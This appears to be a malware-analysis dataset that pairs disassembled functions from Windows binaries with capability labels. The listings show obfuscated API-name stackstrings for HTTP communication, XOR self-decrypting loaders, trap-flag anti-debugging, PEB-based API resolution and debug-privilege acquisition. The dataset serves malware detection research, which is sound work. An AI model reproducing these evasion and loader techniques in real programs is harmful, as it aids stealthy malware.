joyce8/EMBER2024-capa huggingface dataset:
Function at 0x17a8eb0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0
xor eax, eax
push esi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov byte [ebp - 8], al
mov dword [ebp - 7], eax
mov word [ebp - 3], ax
mov byte [ebp - 1], al
push edi
mov al, 0x6f
mov byte [ebp - 0x20], al
xor eax, eax
push 0x7f
push eax
mov dword [ebp - 0x1b], eax
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov word [ebp - 0xf], ax
mov byte [ebp - 0xd], al
mov byte [ebp - 0xc0], al
lea eax, [ebp - 0xbf]
push eax
mov dword [ebp - 0x38], 0x2a2f2a
mov dword [ebp - 0xc], 0x54534f50
mov dword [ebp - 0x2c], 0x646e6957
mov dword [ebp - 0x28], 0x2073776f
mov dword [ebp - 0x24], 0x6c707845
mov dword [ebp - 0x1f], 0x726572
call fcn.017abe60
mov esi, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edi, dword [ecx + 0x7d8]
add esp, 0xc
cmp dword [esi + 0x94c], 0
jne 0x17a8f61
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x2c]
push edx
push esi
call fcn.017aa980
add esp, 0x18
mov dword [esi + 0x94c], eax
test eax, eax
je 0x17a9070
mov eax, dword [ebp + 0x10]
cmp byte [eax], 0
je 0x17a8f89
lea esp, [esp]
cmp dword [eax], 0xa0d0a0d
je 0x17a8f80
inc eax
cmp byte [eax], 0
jne 0x17a8f70
jmp 0x17a8f89
mov dword [eax], 0
add eax, 4
push ebx
mov dword [ebp + 8], eax
push 0x2f
lea eax, [edi + 0x4f3cb0]
push eax
lea ecx, [ebp - 0xc0]
push ecx
call fcn.017abde0
mov eax, dword [ebp + 0x18]
mov ecx, dword [esi + 0x94c]
push 1
push 0
push 3
push 0
push 0
push 0x50
push eax
push ecx
lea edx, [ebp - 0x38]
push esi
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], 0
call fcn.017aa9f0
mov ebx, eax
add esp, 0x30
test ebx, ebx
je 0x17a906f
push 1
push 0
lea edx, [ebp - 0x40]
push edx
push 0
push 0
lea eax, [edi + 0x4f3c70]
push eax
lea ecx, [ebp - 0xc]
push ecx
push ebx
push esi
call fcn.017aaa70
add esp, 0x24
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x17a9012
push ebx
push esi
call fcn.017aabd0
add esp, 8
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 8]
push edx
call fcn.017ac0b0
add esp, 4
push eax
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0xc0]
push ecx
call fcn.017ac0b0
add esp, 4
push eax
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc0]
push edx
push eax
push esi
call fcn.017aaaf0
add esp, 0x18
test eax, eax
jle 0x17a905b
cmp dword [ebp + 0x1c], 0
je 0x17a905b
mov dword [edi + 0x2050], 1
mov ecx, dword [ebp + 0xc]
push ecx
push esi
call fcn.017aabd0
push ebx
push esi
call fcn.017aabd0
add esp, 0x10
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x17aa980
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x14]
push esi
lea ecx, [ebp - 0x10]
push ecx
push edx
lea esi, [eax + 0x950]
push esi
push eax
mov dword [ebp - 0x10], 0x65746e49
mov dword [ebp - 0xc], 0x74656e72
mov dword [ebp - 8], 0x6e65704f
mov word [ebp - 4], 0x41
call fcn.017ab010
mov esi, dword [esi]
add esp, 0x10
test esi, esi
je 0x17aa9de
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push ecx
mov ecx, dword [ebp + 0xc]
push edx
push eax
push ecx
call esi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x17aa9f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x14]
push esi
lea ecx, [ebp - 0x14]
push ecx
push edx
lea esi, [eax + 0x954]
push esi
push eax
mov dword [ebp - 0x14], 0x65746e49
mov dword [ebp - 0x10], 0x74656e72
mov dword [ebp - 0xc], 0x6e6e6f43
mov dword [ebp - 8], 0x41746365
mov byte [ebp - 4], 0
call fcn.017ab010
mov esi, dword [esi]
add esp, 0x10
test esi, esi
je 0x17aaa5f
mov eax, dword [ebp + 0x28]
mov ecx, dword [ebp + 0x24]
mov edx, dword [ebp + 0x20]
push eax
mov eax, dword [ebp + 0x1c]
push ecx
mov ecx, dword [ebp + 0x18]
push edx
mov edx, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push ecx
mov ecx, dword [ebp + 0xc]
push edx
push eax
push ecx
call esi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x17aaa70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x14]
push esi
lea ecx, [ebp - 0x14]
push ecx
push edx
lea esi, [eax + 0x958]
push esi
push eax
mov dword [ebp - 0x14], 0x70747448
mov dword [ebp - 0x10], 0x6e65704f
mov dword [ebp - 0xc], 0x75716552
mov dword [ebp - 8], 0x41747365
mov byte [ebp - 4], 0
call fcn.017ab010
mov esi, dword [esi]
add esp, 0x10
test esi, esi
je 0x17aaadf
mov eax, dword [ebp + 0x28]
mov ecx, dword [ebp + 0x24]
mov edx, dword [ebp + 0x20]
push eax
mov eax, dword [ebp + 0x1c]
push ecx
mov ecx, dword [ebp + 0x18]
push edx
mov edx, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push ecx
mov ecx, dword [ebp + 0xc]
push edx
push eax
push ecx
call esi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x17aaaf0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x14]
push esi
lea ecx, [ebp - 0x14]
push ecx
push edx
lea esi, [eax + 0x95c]
push esi
push eax
mov dword [ebp - 0x14], 0x70747448
mov dword [ebp - 0x10], 0x646e6553
mov dword [ebp - 0xc], 0x75716552
mov dword [ebp - 8], 0x41747365
mov byte [ebp - 4], 0
call fcn.017ab010
mov esi, dword [esi]
add esp, 0x10
test esi, esi
je 0x17aab53
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push ecx
mov ecx, dword [ebp + 0xc]
push edx
push eax
push ecx
call esi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x17aab60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x14]
push esi
lea ecx, [ebp - 0x14]
push ecx
push edx
lea esi, [eax + 0x960]
push esi
push eax
mov dword [ebp - 0x14], 0x65746e49
mov dword [ebp - 0x10], 0x74656e72
mov dword [ebp - 0xc], 0x64616552
mov dword [ebp - 8], 0x656c6946
mov byte [ebp - 4], 0
call fcn.017ab010
mov esi, dword [esi]
add esp, 0x10
test esi, esi
je 0x17aabbf
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0xc]
push ecx
push edx
push eax
call esi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x17aabd0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x14]
push esi
lea ecx, [ebp - 0x14]
push ecx
push edx
lea esi, [eax + 0x964]
push esi
push eax
mov dword [ebp - 0x14], 0x65746e49
mov dword [ebp - 0x10], 0x74656e72
mov dword [ebp - 0xc], 0x736f6c43
mov dword [ebp - 8], 0x6e614865
mov dword [ebp - 4], 0x656c64
call fcn.017ab010
mov esi, dword [esi]
add esp, 0x10
test esi, esi
je 0x17aac26
mov eax, dword [ebp + 0xc]
push eax
call esi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x17ab410
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov edi, dword [ebp + 8]
mov esi, dword [ebp - 4]
test edi, edi
je 0x17ab476
cmp dword [esi + 0x18], 0
je 0x17ab491
lea ecx, [ecx]
mov edx, dword [esi + 0x30]
push edi
push edx
call fcn.017acd20
add esp, 8
test eax, eax
jne 0x17ab46e
mov esi, dword [esi]
cmp dword [esi + 0x18], eax
jne 0x17ab450
pop edi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x17ab491
mov eax, dword [esi + 0x18]
test eax, eax
je 0x17ab491
cmp eax, ecx
je 0x17ab46e
mov esi, dword [esi]
mov eax, dword [esi + 0x18]
test eax, eax
jne 0x17ab484
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x17ab4a0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov edi, dword [ebp + 8]
mov esi, dword [ebp - 4]
test edi, edi
je 0x17ab4f8
cmp dword [esi + 0x18], 0
je 0x17ab4f8
lea ecx, [ecx]
mov edx, dword [esi + 0x30]
push edi
push edx
call fcn.017acd20
add esp, 8
test eax, eax
jne 0x17ab500
mov esi, dword [esi]
cmp dword [esi + 0x18], eax
jne 0x17ab4e0
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x18]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x17ab510
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov edi, dword [ebp + 8]
mov esi, dword [ebp - 4]
test edi, edi
je 0x17ab568
cmp dword [esi + 0x18], 0
je 0x17ab568
lea ecx, [ecx]
mov edx, dword [esi + 0x30]
push edi
push edx
call fcn.017acd20
add esp, 8
test eax, eax
jne 0x17ab570
mov esi, dword [esi]
cmp dword [esi + 0x18], eax
jne 0x17ab550
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x30]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x17ab620
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
xor ecx, ecx
test edx, edx
je 0x17ab664
cmp dword [eax + 0x18], 0
je 0x17ab664
mov eax, dword [eax]
inc ecx
cmp ecx, edx
jb 0x17ab657
mov esp, ebp
pop ebp
ret

Function at 0x17ab670
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
push edi
push 0x103
lea eax, [ebp - 0x10b]
push 0
push eax
mov byte [ebp - 0x10c], 0
call fcn.017abe60
add esp, 0xc
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 8], edx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [ebp - 4]
cmp dword [esi + 0x18], 0
je 0x17ab6fb
mov edi, dword [ebp + 8]
lea esp, [esp]
mov eax, dword [esi + 0x30]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call fcn.017ac480
lea edx, [ebp - 0x10c]
push edx
push edi
call fcn.017a4df0
add esp, 0x10
test eax, eax
jne 0x17ab703
mov esi, dword [esi]
cmp dword [esi + 0x18], eax
jne 0x17ab6d0
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x18]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x17abb40
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
test eax, eax
jne 0x17abb4e
xor eax, eax
pop ebp
ret
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x17abb4a
mov ecx, dword [eax + 0x3c]
cmp dword [ecx + eax], 0x4550
jne 0x17abb4a
mov edx, dword [ebp + 8]
push esi
mov dword [edx], eax
mov esi, dword [eax + 0x3c]
add esi, eax
mov dword [edx + 4], esi
mov ecx, dword [ecx + eax + 0x78]
add ecx, eax
mov dword [edx + 8], ecx
mov eax, 1
pop esi
pop ebp
ret

Function at 0x17abb90
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x17abbb4
mov eax, 0x5a4d
cmp word [edi], ax
jne 0x17abbb4
mov ebx, dword [edi + 0x3c]
add ebx, edi
cmp dword [ebx], 0x4550
je 0x17abbbc
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebx + 0x50]
mov eax, dword [ebp + 8]
push esi
inc edx
push edx
push eax
call fcn.017abf90
mov ecx, dword [ebx + 0x50]
mov esi, eax
push ecx
push esi
call fcn.017abe10
mov edx, dword [ebx + 0x54]
push edx
push edi
push esi
call fcn.017abde0
xor edx, edx
xor eax, eax
add esp, 0x1c
mov dword [ebp - 4], edx
cmp ax, word [ebx + 6]
jae 0x17abc4e
mov dword [ebp + 0xc], edx
jmp 0x17abbf9
xor edx, edx
mov ecx, dword [edi + 0x3c]
add ecx, dword [ebp + 0xc]
lea eax, [ecx + esi + 0xf8]
mov ecx, dword [eax + 0x10]
cmp ecx, edx
jne 0x17abc10
mov dword [eax + 0x14], edx
mov edx, dword [eax + 8]
cmp ecx, edx
jbe 0x17abc26
push edx
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add edx, edi
push edx
add eax, esi
push eax
jmp 0x17abc33
mov edx, dword [eax + 0xc]
push ecx
mov ecx, dword [eax + 0x14]
add ecx, edi
push ecx
add edx, esi
push edx
call fcn.017abde0
mov eax, dword [ebp - 4]
movzx ecx, word [ebx + 6]
add dword [ebp + 0xc], 0x28
inc eax
add esp, 0xc
mov dword [ebp - 4], eax
cmp eax, ecx
jb 0x17abbf7
mov eax, esi
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x17abc60
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
test ecx, ecx
je 0x17abc80
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x17abc80
mov eax, dword [ecx + 0x3c]
cmp dword [eax + ecx], 0x4550
je 0x17abc84
xor eax, eax
pop ebp
ret
mov eax, dword [eax + ecx + 0x2c]
add eax, ecx
pop ebp
ret

Function at 0x17abd00
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test eax, eax
je 0x17abd20
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x17abd20
mov edx, dword [eax + 0x3c]
cmp dword [eax + edx], 0x4550
je 0x17abd24
xor eax, eax
pop ebp
ret
mov eax, dword [eax + edx + 0x28]
test eax, eax
je 0x17abd20
add eax, dword [ebp + 0xc]
pop ebp
ret
Function at 0x17aca00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x820
push esi
mov esi, dword [ebp + 0xc]
xor eax, eax
cmp esi, 0x5d
jae 0x17acc3c
push ebx
push edi
push 0x773
push eax
mov byte [ebp - 0x1c], al
mov dword [ebp - 0x1b], eax
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov dword [ebp - 7], eax
mov word [ebp - 3], ax
mov byte [ebp - 1], al
lea eax, [ebp - 0x793]
mov cl, 0xe7
push eax
mov dword [ebp - 0x20], 0x6c6c642e
mov dword [ebp - 0x820], 0xbee14005
mov dword [ebp - 0x81c], 0xc8066c2a
mov dword [ebp - 0x818], 0xccdfc1a9
mov dword [ebp - 0x814], 0xe245063a
mov dword [ebp - 0x810], 0x3ad226d0
mov dword [ebp - 0x80c], 0x8450707
mov dword [ebp - 0x808], 0xe0c8cb23
mov dword [ebp - 0x804], 0x4337a708
mov dword [ebp - 0x800], 0x57e44962
mov dword [ebp - 0x7fc], 0xa6aa08e7
mov dword [ebp - 0x7f8], 0x6525dcb0
mov dword [ebp - 0x7f4], 0x7b08e760
mov dword [ebp - 0x7f0], 0x1eb386be
mov dword [ebp - 0x7ec], 0x8e7a01f
mov dword [ebp - 0x7e8], 0xefa2d823
mov dword [ebp - 0x7e4], 0xe7a01f26
mov dword [ebp - 0x7e0], 0xa8fc2209
mov dword [ebp - 0x7dc], 0x4f1cc7ee
mov dword [ebp - 0x7d8], 0xef094116
mov dword [ebp - 0x7d4], 0x8ca89392
mov dword [ebp - 0x7d0], 0x4157a323
mov dword [ebp - 0x7cc], 0x9f8f1d09
mov dword [ebp - 0x7c8], 0xa3269dc3
mov dword [ebp - 0x7c4], 0x74094157
mov dword [ebp - 0x7c0], 0x507d60c3
mov dword [ebp - 0x7bc], 0x41107c91
mov dword [ebp - 0x7b8], 0x6357590b
mov dword [ebp - 0x7b4], 0x1deab58a
mov dword [ebp - 0x7b0], 0xf708ac79
mov dword [ebp - 0x7ac], 0x73ade308
mov dword [ebp - 0x7a8], 0xa1651ec6
mov dword [ebp - 0x7a4], 0xca3d06e7
mov dword [ebp - 0x7a0], 0x3ad226c4
mov dword [ebp - 0x79c], 0xb2fc3308
mov dword [ebp - 0x798], 0x615506cf
mov byte [ebp - 0x794], cl
call fcn.017abe60
add esp, 0xc
lea eax, [ebp - 0x820]
test esi, esi
je 0x17acbcc
dec esi
movzx ecx, byte [eax]
lea eax, [eax + ecx + 1]
jne 0x17acbc2
lea esi, [eax + 1]
movzx eax, byte [eax]
lea edx, [ebp - 0x20]
push edx
push eax
push esi
call fcn.0179abf0
xor eax, eax
add esp, 0xc
cmp byte [esi], al
je 0x17acbed
inc eax
cmp byte [esi + eax], 0
jne 0x17acbe6
mov ebx, dword [ebp + 8]
inc eax
push eax
push esi
push ebx
call fcn.017abde0
add esp, 0xc
xor edi, edi
cmp byte [ebx], 0
je 0x17acc0a
inc edi
cmp byte [edi + ebx], 0
jne 0x17acc03
xor esi, esi
cmp byte [ebp - 0x20], 0
je 0x17acc1a
inc esi
cmp byte [ebp + esi - 0x20], 0
jne 0x17acc12
test esi, esi
je 0x17acc2f
push esi
lea ecx, [ebp - 0x20]
lea eax, [edi + ebx]
push ecx
push eax
call fcn.017abe30
add esp, 0xc
add esi, edi
pop edi
mov byte [esi + ebx], 0
mov eax, 1
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x436d2d
Capabilities:
Check for trap flag exception

Disassembly:
cmp esi, 0xf713
je 0x436d37
jne 0x436d37
pushal
xchg esi, edi
xchg edi, esi
call 0x436d41
push ebx
xor ebx, edi
pop ebx
pop edx
mov eax, 0xf9
verr si
push edi
xor edi, esi
pop edi
xchg esi, ecx
xchg ecx, esi
add eax, edx
push esi
lsl esi, edi
pop esi
push eax
lsl eax, edx
pop eax
push esi
push ebx
pop ebx
pop esi
push eax
push ebx
dec ebx
pop ebx
inc edx
dec edx
push eax
lar eax, ebx
pop eax
mov edx, 0
push dword fs:[edx]
fnop
mov dword fs:[edx], esp
cmp esi, 0xf713
je 0x436d88
jne 0x436d88
not ecx
not ecx
push eax
ror eax, cl
pop eax
mov ecx, 0
push ecx
neg ecx
pop ecx
xor ecx, 0xdbf
xor ecx, 0xdbf
div ecx
pushal
sub edx, 0x3bc
popal
push esi
str esi
pop esi
mov ecx, edx
pushfd
not esi
not esi
pushfd
push edi
push 0xc107
pop edi
pop edi
or dword [esp], 0x100
push ecx
inc ecx
pop ecx
popfd
inc edx
popfd
push edx
xor edx, 0x6183
pop edx
cmp edx, ecx
pushal
popal
je 0x436df9
add ecx, edx
sub ecx, edx
push 0x8caf1379
inc edi
dec edi
mov edx, 0xc12ade99
push esi
str esi
pop esi
ret
push edx
push esi
sub edx, esi
add esi, ebx
pop esi
pop edx
push esi
not esi
pop esi
mov ecx, 0
push edi
xor edi, 0x625a
pop edi
pushal
mov esi, ecx
sub ebx, esi
popal
pop dword fs:[ecx]
push esi
push ebx
pop ebx
pop esi
push ebx
push esi
pop esi
pop ebx
pop eax
pushal
add ebx, esi
popal
xor ecx, 0x4c68
xor ecx, 0x4c68
popal
jmp 0x436f53
push ebx
lsl ebx, esi
pop ebx
pushal
sub esi, ecx
mov edi, ecx
popal
push eax
wait
fnstsw ax
pop eax
push ebx
push esi
push ebx
pop ebx
pop esi
pushal
xor esi, 0x218b1edb
popal
pushal
nop
mov edx, 0x4ff6051f
sub ecx, 0x797a67d9
popal
push esi
call fcn.0043713b
pop es
int 6
in al, dx
mov dword [0x5b813d59], eax
shr edx, 1
imul byte [ecx + 0x7b]
rcr dword [eax + 0x43024a37], cl
in al, 0x5a
and edx, dword [edi]
invalid

Function at 0x8de1ec
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8de1f2
pop ebp
sub ebp, 6
sub ebp, 0x4de1ec
jmp 0x8de250
jmp 0x8de259
mov eax, 0x4de1ec
add eax, ebp
add eax, 0x93
mov ecx, 0x61b
mov edx, 0x83a0300c
xor byte [eax], dl
inc eax
dec ecx
jne 0x8de270
jmp 0x8de283
dec sp
or al, 0x1c
or al, 0xc
or al, 0xc0
and byte [edi + edi], cl
int3
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x406037
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x406046
pop dword [ebp - 0x50]
mov eax, 0x406046
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xe9dd373b
sub dword [ebp - 0x60], 0x9b8af1f0
mov dword [ebp - 0x5c], 0xa214e617
sub dword [ebp - 0x5c], 0x6fe199d2
mov dword [ebp - 0x58], 0x1e1f9898
add dword [ebp - 0x58], 0x2e2cab96
mov dword [ebp - 0x54], 0xbb23f492
sub dword [ebp - 0x54], 0xbb23f492
lea eax, [ebp - 0x60]
push eax
mov eax, 0x5c3c371e
add eax, 0xa4049936
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xfb10f7c1
add dword [ebp - 0x60], 0x79617195
mov dword [ebp - 0x5c], 0xa5f9c366
add dword [ebp - 0x5c], 0x9b729e0f
mov dword [ebp - 0x58], 0x21a88ae2
add dword [ebp - 0x58], 0x41c6e18a
mov dword [ebp - 0x54], 0x9c782df
add dword [ebp - 0x54], 0xf6387d21
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3f093
push 0
call eax
mov ecx, 0x2bdf727
sub ecx, 0x2bd9952
mov ebx, eax
mov esi, 0xbdea846c
add esi, 0x42572b94
add esi, dword [ebp - 0x50]
mov edi, 0xadbbb770
add edi, 0xcd291dee
xor dword [ebp - 0x3c], ebx
mov edx, dword [esi]
mov dword [ebp - 0x10], 0xb358800f
sub edx, edi
sub dword [ebp - 0x34], edx
mov dword [ebx], edx
mov dword [ebp - 0x18], 0x73582c44
add ebx, 4
add esi, 4
loop 0x40615e
add eax, 0x5c5914f4
add eax, 0xa3a85533
mov ebx, eax
add eax, 5
mov ecx, 0xc2f0bc95
add ecx, 0x3d4f436b
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x96d1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.0096d140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.0096d140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.0096d140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.0096d140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x96dbfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x96dc50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x97f87c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x96dc43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x96dc52
xor eax, eax
pop esi
leave
ret 4

Function at 0x414dd2
Capabilities:
Encode data using xor

Disassembly:
xor dword [edi], ecx
dec esi
add edi, 4
add esi, 0xd39e9379
add esi, 0xc7977921
cmp edi, eax
jne fcn.00414dd2
sub ebx, 0x457e0a9
sub esp, 4
mov dword [esp], esi
pop esi
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x7abdd8
Capabilities:
Hash data with crc32

Disassembly:
push ebx
push esi
xor esi, esi
mov ecx, 0x7fbca0
mov eax, esi
mov edx, 8
mov ebx, eax
and ebx, 1
test bl, bl
je 0x7abdfa
shr eax, 1
xor eax, 0xedb88320
jmp 0x7abdfc
shr eax, 1
dec edx
jne 0x7abde8
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x7abde1
mov byte [0x7fc0a0], 1
pop esi
pop ebx
ret

Function at 0x7abe18
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
cmp byte [0x7fc0a0], 0
jne 0x7abe2f
call fcn.007abdd8
mov eax, edi
dec eax
test eax, eax
jl 0x7abe57
inc eax
xor edx, edx
movzx ecx, byte [esi + edx]
xor ecx, ebx
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x7fbca0]
shr ebx, 8
xor ecx, ebx
mov ebx, ecx
inc edx
dec eax
jne 0x7abe39
mov eax, ebx
pop edi
pop esi
pop ebx
ret